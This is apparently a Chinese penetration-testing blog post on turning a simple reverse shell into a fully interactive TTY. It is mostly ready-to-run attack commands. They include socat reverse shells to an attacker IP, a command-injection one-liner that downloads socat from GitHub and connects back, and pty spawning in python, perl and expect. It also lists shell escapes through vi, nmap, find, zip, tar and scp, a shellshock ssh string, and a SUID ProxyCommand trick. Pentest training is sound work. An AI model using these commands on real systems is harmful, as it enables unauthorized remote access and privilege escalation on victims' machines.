获取全交互式Shell
ssooking Lv5

前言

有时候在渗透过程中获取了简单的反弹shell,但是功能上没有全交互式shell强大,如:

  • 无法使用su、ssh等交互式命令
  • 无法使用vim等编辑器
  • 不能向上翻阅命令历史记录
  • 不能使用TAB键不全
  • ……

下面是一些把Shell升级到全交互式Shell的方法

Reverse shell

参考Linux反弹shell。如果目标系统上未安装一些必须的工具,可以在这里下载已编译的相关版本。

socat

kali(10.0.3.4)监听:

1
socat file:`tty`,raw,echo=0 tcp-listen:4444 

受害者执行:

1
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.100:4444 

使用命令注入漏洞,可以将正确的架构的socat二进制文件下载到可写的目录,添加权限,然后在一行中执行命令获得反向shell:

1
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444  

awk

1
awk 'BEGIN{system("/bin/bash")}'

Python

1
2
3
python -c 'import pty;pty.spawn("/bin/bash")'
python -c '__import__("pty").spawn("/bin/bash")'
python -c "import os;os.system('/bin/bash')"

无python时:

1
expect -c 'spawn bash;interact'

perl

1
perl -e "exec '/bin/sh';"

vim

1
输入vim,然后输入:!/bin/sh

使用有样式的shell

1.先到本地执行命令查看终端环境的一些信息:echo $TERMstty -a

1
2
3
4
5
$ echo $TERM
xterm-256color
$ stty -a #(stty size命令也能查看终端行数和列数)
speed 38400 baud; rows 25; columns 90; line = 0;
xxxxx

可以看到本地终端颜色为xterm-256color,终端的高度宽度分别为25、90。

2.在反弹shell中执行下面的命令,然后按下Ctrl+Z组合键,使反向shell进入后台运行。

1
python -c 'import pty;pty.spawn("/bin/bash")'

3.然后在本地中对终端中进行一些设置

1
2
3
4
5
6
7
8
9
10
# 在本地shell中
$ stty raw -echo
$ fg
# stty raw -echo fg

# 在反弹shell中
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows 25 columns 90

ps:设置rows和columns是为了解决遇到shell 的高度/宽度与终端不匹配的问题。

完整按键操作:

1
2
3
4
5
6
7
8
9
10
11
python -c 'import pty;pty.spawn("/bin/bash");'
CTRL-Z
stty raw -echo
fg
ENTER

# pwnable.kr举例
python -c 'import pty;pty.spawn("/bin/bash");'
CTRL-Z
stty raw -echo
(cat payload && cat) | nc pwnable.kr 9000 #向目标发送payload并获得交互式shell

Spawning A TTY Shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
python -c 'import pty;pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i

perl —e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')

# From within IRB
exec "/bin/sh"

# From within vi
:!bash
:set shell=/bin/bash:shell

# From within nmap
!sh

# From scp:
scp -S /path/yourscript x y:

# AWK:
awk 'BEGIN {system("/bin/sh or /bin/bash")}'

# find:
find / -name test -exec /bin/sh or /bin/bash \;

# ssh:
ssh username@IP – t "/bin/sh" or "/bin/bash"
ssh username@IP -t "bash –noprofile"
ssh username@IP -t "() { :; }; /bin/bash" (shellshock)
ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)

git帮助状态下通过!/bin/bash进入交互式shell
pico -s "/bin/bash" 进入编辑器写入/bin/bash 然后按 ctrl + T 键
zip /tmp/test.zip /tmp/test -T –unzip-command="sh -c /bin/bash"
tar cf /dev/null testfile –checkpoint=1 –checkpointaction=exec=/bin/bash

参考

  • Post title:获取全交互式Shell
  • Post author:ssooking
  • Create time:2019-12-26 00:00:00
  • Post link:https://ssooking.github.io/2019/12/获取全交互式shell/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.